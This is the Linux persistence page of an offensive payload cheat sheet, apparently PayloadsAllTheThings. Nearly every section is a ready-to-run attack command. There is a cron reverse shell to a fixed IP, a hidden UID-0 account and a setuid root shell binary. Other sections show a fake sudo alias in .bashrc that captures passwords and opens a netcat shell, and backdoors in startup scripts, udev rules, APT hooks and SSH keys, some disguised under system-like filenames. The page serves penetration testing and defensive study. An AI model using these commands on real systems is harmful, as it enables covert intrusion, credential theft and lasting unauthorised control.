PayloadsAllTheThings/Methodology and Resources/Linux - Persistence.md
llamasoft 78ff651643 Add Linux evasion to its own article
Linux evasion techniques were previously included as part of persistence,
but the number of techniques are varied enough where it likely should
be its own article.
2022-10-14 17:30:25 -04:00

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# Linux - Persistence
## Summary
* [Basic reverse shell](#basic-reverse-shell)
* [Add a root user](#add-a-root-user)
* [Suid Binary](#suid-binary)
* [Crontab - Reverse shell](#crontab-reverse-shell)
* [Backdooring a user's bash_rc](#backdooring-an-users-bash-rc)
* [Backdooring a startup service](#backdoor-a-startup-service)
* [Backdooring a user startup file](#backdooring-an-user-startup-file)
* [Backdooring a driver](#backdooring-a-driver)
* [Backdooring the APT](#backdooring-the-apt)
* [Backdooring the SSH](#backdooring-the-ssh)
* [Tips](#tips)
* [Additional Linux Persistence Options](#additional-persistence-options)
* [References](#references)
## Basic reverse shell
```bash
ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242
```
## Add a root user
```powershell
sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john
```
## Suid Binary
```powershell
TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
```
## Crontab - Reverse shell
```bash
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null
```
## Backdooring a user's bash_rc
(FR/EN Version)
```bash
TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then
cat /tmp/$TMPNAME2 >> ~/.bashrc
fi
if [ -f ~/.zshrc ]; then
cat /tmp/$TMPNAME2 >> ~/.zshrc
fi
rm /tmp/$TMPNAME2
```
or add the following line inside its .bashrc file.
```powershell
$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
```
and create the `fakesudo` script.
```powershell
read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt
/usr/bin/sudo $@
```
## Backdooring a startup service
```bash
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
```
## Backdooring a user startup file
Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop`
```powershell
In : ~/.config/autostart/*.desktop
[Desktop Entry]
Type=Application
Name=Welcome
Exec=/var/lib/gnome-welcome-tour
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
OnlyShowIn=GNOME;
X-GNOME-Autostart-enabled=false
```
## Backdooring a driver
```bash
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
```
## Backdooring the APT
If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};`
Next time "apt-get update" is done, your CMD will be executed!
```bash
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
```
## Backdooring the SSH
Add an ssh key into the `~/.ssh` folder.
1. `ssh-keygen`
2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys`
3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys
## Additional Persistence Options
* [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)
* [Compromise Client Software Binary](https://attack.mitre.org/techniques/T1554)
* [Create Account](https://attack.mitre.org/techniques/T1136/)
* [Create Account: Local Account](https://attack.mitre.org/techniques/T1136/001/)
* [Create or Modify System Process](https://attack.mitre.org/techniques/T1543/)
* [Create or Modify System Process: Systemd Service](https://attack.mitre.org/techniques/T1543/002/)
* [Event Triggered Execution: Trap](https://attack.mitre.org/techniques/T1546/005/)
* [Event Triggered Execution](https://attack.mitre.org/techniques/T1546/)
* [Event Triggered Execution: .bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004/)
* [External Remote Services](https://attack.mitre.org/techniques/T1133/)
* [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/)
* [Hijack Execution Flow: LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006/)
* [Pre-OS Boot](https://attack.mitre.org/techniques/T1542/)
* [Pre-OS Boot: Bootkit](https://attack.mitre.org/techniques/T1542/003/)
* [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/)
* [Scheduled Task/Job: At (Linux)](https://attack.mitre.org/techniques/T1053/001/)
* [Scheduled Task/Job: Cron](https://attack.mitre.org/techniques/T1053/003/)
* [Server Software Component](https://attack.mitre.org/techniques/T1505/)
* [Server Software Component: SQL Stored Procedures](https://attack.mitre.org/techniques/T1505/001/)
* [Server Software Component: Transport Agent](https://attack.mitre.org/techniques/T1505/002/)
* [Server Software Component: Web Shell](https://attack.mitre.org/techniques/T1505/003/)
* [Traffic Signaling](https://attack.mitre.org/techniques/T1205/)
* [Traffic Signaling: Port Knocking](https://attack.mitre.org/techniques/T1205/001/)
* [Valid Accounts: Default Accounts](https://attack.mitre.org/techniques/T1078/001/)
* [Valid Accounts: Domain Accounts 2](https://attack.mitre.org/techniques/T1078/002/)
## References
* [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289)
* [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/)
* [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html)
* [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/)
* [Pouki from JDI](#no_source_code)